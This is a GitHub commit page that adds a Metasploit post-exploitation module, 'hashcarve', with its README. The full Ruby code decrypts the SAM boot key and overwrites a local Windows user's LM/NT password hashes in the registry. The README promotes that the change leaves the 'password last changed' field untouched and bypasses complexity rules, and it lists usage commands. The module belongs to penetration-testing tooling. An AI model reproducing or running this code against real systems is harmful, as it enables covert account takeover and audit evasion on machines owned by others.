Skip to content

Commit 9b678c2

Browse files
committed
Land rapid7#7685, Add mosule to change user passwords by editing SAM registry
2 parents c5c710f + a3d13d2 commit 9b678c2

File tree

2 files changed

+257
-0
lines changed

2 files changed

+257
-0
lines changed
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
## Overview
2+
This module changes a user's password by carving a hash in the windows registry.
3+
4+
1. It doesn't change the "password last changed" field
5+
2. You can set a hash directly, so you can change a user's password and revert it without cracking it's hash.
6+
3. It bypasses the password complexity requirements
7+
8+
## Module Options
9+
- **USER** - This option allows you to specify the user you wish to change the password of.
10+
- **PASS** - This option allows you to specify the password to be set in the form of a clear text password, a single NT hash, or a couple of LM:NT hashes.
11+
12+
## Module Process
13+
Here is the process that the module follows:
14+
15+
- Retrieves list of users from the registry.
16+
- If the user is found it attempts to:
17+
- load the user key from the registry
18+
- check if the lm and nt hashes exit in the key
19+
- replace the hashes if they exist
20+
- write they user key back into the registry
21+
22+
## Recommandations
23+
I would recommand to use hashdump before using the module to backup the user hashes
24+
Use at your own risk.
25+
26+
## Limitations
27+
28+
At some point, Windows 10 stopped storing users in that exact way, users whose password was set after that change would not be vulnerable. This will be updated once someone figures how the hashes are now stored.
29+
30+
The module does not modify the user key architecture, you cannot set a hash on a user that does not have a password.
31+
32+
## Usage
33+
- run post/windows/manage/hashcarve user=test pass=password
34+
- run post/windows/manage/hashcarve user=test pass=nthash
35+
- run post/windows/manage/hashcarve user=test pass=lmhash:nthash
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/auxiliary/report'
9+
10+
class MetasploitModule < Msf::Post
11+
include Msf::Auxiliary::Report
12+
include Msf::Post::Windows::Priv
13+
include Msf::Post::Windows::Registry
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'Windows Local User Account Hash Carver',
18+
'Description' => %q{ This module will change a local user's password directly in the registry. },
19+
'License' => MSF_LICENSE,
20+
'Author' => [ 'p3nt4' ],
21+
'Platform' => [ 'win' ],
22+
'SessionTypes' => [ 'meterpreter' ]
23+
))
24+
register_options(
25+
[
26+
OptString.new('user', [true, 'Username to change password of', nil]),
27+
OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil])
28+
], self.class)
29+
# Constants for SAM decryption
30+
@sam_lmpass = "LMPASSWORD\x00"
31+
@sam_ntpass = "NTPASSWORD\x00"
32+
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
33+
@sam_numeric = "0123456789012345678901234567890123456789\x00"
34+
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
35+
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
36+
end
37+
38+
def run
39+
begin
40+
#Variable Setup
41+
username=datastore['user']
42+
pass=datastore['pass']
43+
#Detecting password style
44+
if pass.length==32
45+
print_status("Password detected as NT hash")
46+
nthash = pass
47+
lmhash="aad3b435b51404eeaad3b435b51404ee"
48+
elsif pass.length==65
49+
print_status("Password detected as LN:NT hashes")
50+
nthash = pass.split(':')[1]
51+
lmhash = pass.split(':')[0]
52+
else
53+
print_status("Password detected as clear text, generating hashes:")
54+
nthash=hash_nt(pass)
55+
lmhash=hash_lm(pass)
56+
end
57+
print_line("LM Hash: "+lmhash)
58+
print_line("NT Hash: "+nthash)
59+
print_status("Searching for user")
60+
ridInt = get_user_id(username)
61+
rid = '%08x' % ridInt
62+
print_line("User found with id: " + rid)
63+
print_status("Loading user key")
64+
user = get_user_key(rid)
65+
print_status("Obtaining the boot key...")
66+
bootkey = capture_boot_key
67+
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
68+
hbootkey = capture_hboot_key(bootkey)
69+
print_status("Modifying user key")
70+
modify_user_key(hbootkey, ridInt, user,[nthash].pack("H*"),[lmhash].pack("H*"))
71+
print_status("Carving user key")
72+
write_user_key(rid, user)
73+
print_status("Completed! Let's hope for the best")
74+
rescue ::Interrupt
75+
raise $!
76+
rescue ::Exception => e
77+
print_error("Error: #{e}")
78+
end
79+
end
80+
81+
def capture_hboot_key(bootkey)
82+
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
83+
return if not ok
84+
vf = ok.query_value("F")
85+
return if not vf
86+
vf = vf.data
87+
ok.close
88+
hash = Digest::MD5.new
89+
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
90+
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
91+
rc4.key = hash.digest
92+
hbootkey = rc4.update(vf[0x80, 32])
93+
hbootkey << rc4.final
94+
return hbootkey
95+
end
96+
97+
def get_user_id(username)
98+
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
99+
ok.enum_key.each do |usr|
100+
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
101+
r = uk.query_value("")
102+
rid = r.type
103+
if usr.downcase == username.downcase
104+
return rid
105+
end
106+
uk.close
107+
end
108+
ok.close
109+
raise 'The user does not exist'
110+
end
111+
112+
def get_user_key(rid)
113+
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)
114+
user = uk.query_value("V").data
115+
uk.close
116+
return user
117+
end
118+
119+
def write_user_key(rid,user)
120+
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)
121+
uk.set_value("V",REG_BINARY,user)
122+
uk.close
123+
end
124+
125+
def modify_user_key(hbootkey, rid, user, nthash, lmhash)
126+
hoff = user[0x9c, 4].unpack("V")[0] + 0xcc
127+
#Check if hashes exist (if 20, then we've got a hash)
128+
lm_exists = user[0x9c+4,4].unpack("V")[0] == 20 ? true : false
129+
nt_exists = user[0x9c+16,4].unpack("V")[0] == 20 ? true : false
130+
if !lm_exists and !nt_exists
131+
raise 'No password is currently set for the user'
132+
end
133+
print_status("Modifiying LM hash")
134+
if lm_exists
135+
user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
136+
else
137+
print_error("LM hash does not exist, skipping")
138+
end
139+
print_status("Modifiying NT hash")
140+
if nt_exists
141+
user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
142+
else
143+
print_error("NT hash does not exist, skipping")
144+
end
145+
end
146+
147+
def rid_to_key(rid)
148+
s1 = [rid].pack("V")
149+
s1 << s1[0,3]
150+
s2b = [rid].pack("V").unpack("C4")
151+
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
152+
s2 << s2[0,3]
153+
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
154+
end
155+
156+
def encode_utf16(str)
157+
str.to_s.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT)
158+
end
159+
160+
def encrypt_user_hash(rid, hbootkey, hash, pass)
161+
if(hash.empty?)
162+
case pass
163+
when @sam_lmpass
164+
return @sam_empty_lm
165+
when @sam_ntpass
166+
return @sam_empty_nt
167+
end
168+
return ""
169+
end
170+
171+
des_k1, des_k2 = rid_to_key(rid)
172+
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
173+
d1.padding = 0
174+
d1.key = des_k1
175+
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
176+
d2.padding = 0
177+
d2.key = des_k2
178+
md5 = Digest::MD5.new
179+
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
180+
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
181+
rc4.key = md5.digest
182+
rc4.encrypt
183+
d2o = d2.encrypt.update(hash[8,8])
184+
d1o = d1.encrypt.update(hash[0,8])
185+
enchash = rc4.update(d1o+d2o)
186+
return enchash
187+
end
188+
189+
def hash_nt(pass)
190+
return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack("H*")[0]
191+
end
192+
193+
def hash_lm(key)
194+
lm_magic = 'KGS!@\#$%'
195+
key = key.ljust(14, "\0")
196+
keys = create_des_keys(key[0, 14])
197+
result = ''
198+
cipher = OpenSSL::Cipher::DES.new
199+
keys.each do |k|
200+
cipher.encrypt
201+
cipher.key = k
202+
result << cipher.update(lm_magic)
203+
end
204+
return result.unpack("H*")[0]
205+
end
206+
207+
def create_des_keys(string)
208+
keys = []
209+
string = string.dup
210+
until (key = string.slice!(0, 7)).empty?
211+
# key is 56 bits
212+
key = key.unpack('B*').first
213+
str = ''
214+
until (bits = key.slice!(0, 7)).empty?
215+
str << bits
216+
str << (bits.count('1').even? ? '1' : '0') # parity
217+
end
218+
keys << [str].pack('B*')
219+
end
220+
keys
221+
end
222+
end

0 commit comments

Comments
 (0)